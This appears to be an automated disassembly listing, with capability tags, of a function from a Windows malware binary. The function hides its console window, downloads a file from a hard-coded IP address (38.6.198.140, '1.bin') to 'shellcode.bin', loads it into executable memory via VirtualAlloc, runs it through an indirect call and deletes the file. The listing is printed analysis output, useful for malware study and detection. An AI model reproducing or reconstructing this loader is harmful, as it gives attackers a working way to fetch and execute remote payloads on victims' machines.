Function at 0x1400039f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Read file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x98]
sub rsp, 0x190
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1401efd20]
xor rax, rsp
mov qword [rbp + 0x88], rax
xor r12d, r12d
mov dword [rsp + 0x20], r12d
call fcn.140001030
test al, al
jne 0x140003a49
call fcn.140003850
test al, al
jne 0x140003e03
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r11, [0x14016ae90]
mov qword [rsp + 0x30], r11
lea rax, [0x14016ae88]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x38], rax
mov qword [rsp + 0x38], r12
lea rcx, [rbp - 0x38]
call fcn.1400017e0
lea r11, [rsp + 0x48]
mov qword [rbp + 0x10], r11
mov qword [rbp + 0x18], r12
mov dl, 0x20
lea rcx, [rbp - 0x38]
call fcn.140002a60
mov byte [rbp + 0x20], al
cmp qword [rbp + 0x10], 0
jne 0x140003ac8
mov edx, dword [rbp - 0x28]
or edx, 4
xor r8d, r8d
lea rcx, [rbp - 0x38]
call fcn.140001650
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x30], rax
lea rcx, [rsp + 0x48]
call fcn.140001330
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], r12d
lea rdx, str.http:__
lea rcx, [rsp + 0x40]
call fcn.140003010
mov rcx, rax
lea rdx, str.38.6.198.140:80_1.bin
call fcn.140003010
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.1400039c0
nop
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
lea rdx, str.shellcode.bin
call fcn.140001000
test al, al
jne 0x140003bc5
lea rcx, str.Failed_to_download_shellcode._n
call fcn.14013ede0
nop
cmp qword [rbp + 0x70], 0x10
jb 0x140003b90
mov rcx, qword [rbp + 0x58]
call fcn.140003e94
mov qword [rbp + 0x70], 0xf
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
lea rcx, [rbp - 0x38]
call fcn.140002930
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x38], r11
lea rcx, [rbp - 0x38]
call fcn.14015a304
or eax, 0xffffffff
jmp 0x140003e05
lea rdx, [0x14016aff8]
lea rcx, str.shellcode.bin
call fcn.14013f790
mov rdi, rax
test rax, rax
jne 0x140003c34
lea rcx, str.Failed_to_open_shellcode_file._n
call fcn.14013ede0
nop
cmp qword [rbp + 0x70], 0x10
jb 0x140003bfd
mov rcx, qword [rbp + 0x58]
call fcn.140003e94
mov qword [rbp + 0x70], 0xf
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
lea rcx, [rbp - 0x38]
call fcn.140002930
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x38], r11
lea rcx, [rbp - 0x38]
call fcn.14015a304
mov eax, 0xfffffffe
jmp 0x140003e05
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.14013f63c
mov rcx, rdi
call fcn.14013f530
movsxd rsi, eax
mov rcx, rdi
call fcn.14013f2b8
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140002f20
nop
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rbx, qword [rbp + 0x30]
mov rcx, rbx
call fcn.14013f298
mov rcx, rdi
cmp rax, rsi
je 0x140003cf4
call fcn.14013ef50
lea rcx, str.Failed_to_read_shellcode_from_file._n
call fcn.14013ede0
nop
test rbx, rbx
je 0x140003cad
mov rcx, rbx
call fcn.140003e94
nop
cmp qword [rbp + 0x70], 0x10
jb 0x140003cbd
mov rcx, qword [rbp + 0x58]
call fcn.140003e94
mov qword [rbp + 0x70], 0xf
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
lea rcx, [rbp - 0x38]
call fcn.140002930
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x38], r11
lea rcx, [rbp - 0x38]
call fcn.14015a304
mov eax, 0xfffffffd
jmp 0x140003e05
call fcn.14013ef50
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140003d7a
lea rcx, str.Failed_to_allocate_memory_for_shellcode._n
call fcn.14013ede0
nop
test rbx, rbx
je 0x140003d33
mov rcx, rbx
call fcn.140003e94
nop
cmp qword [rbp + 0x70], 0x10
jb 0x140003d43
mov rcx, qword [rbp + 0x58]
call fcn.140003e94
mov qword [rbp + 0x70], 0xf
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
lea rcx, [rbp - 0x38]
call fcn.140002930
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x38], r11
lea rcx, [rbp - 0x38]
call fcn.14015a304
mov eax, 0xfffffffc
jmp 0x140003e05
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14013df70
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.shellcode.bin
call fcn.14013eea4
test eax, eax
je 0x140003db8
lea rcx, str.Failed_to_delete_shellcode_file._n
call fcn.14013ede0
nop
test rbx, rbx
je 0x140003dc6
mov rcx, rbx
call fcn.140003e94
nop
cmp qword [rbp + 0x70], 0x10
jb 0x140003dd6
mov rcx, qword [rbp + 0x58]
call fcn.140003e94
mov qword [rbp + 0x70], 0xf
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
lea rcx, [rbp - 0x38]
call fcn.140002930
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x38], r11
lea rcx, [rbp - 0x38]
call fcn.14015a304
xor eax, eax
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.14013edc0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret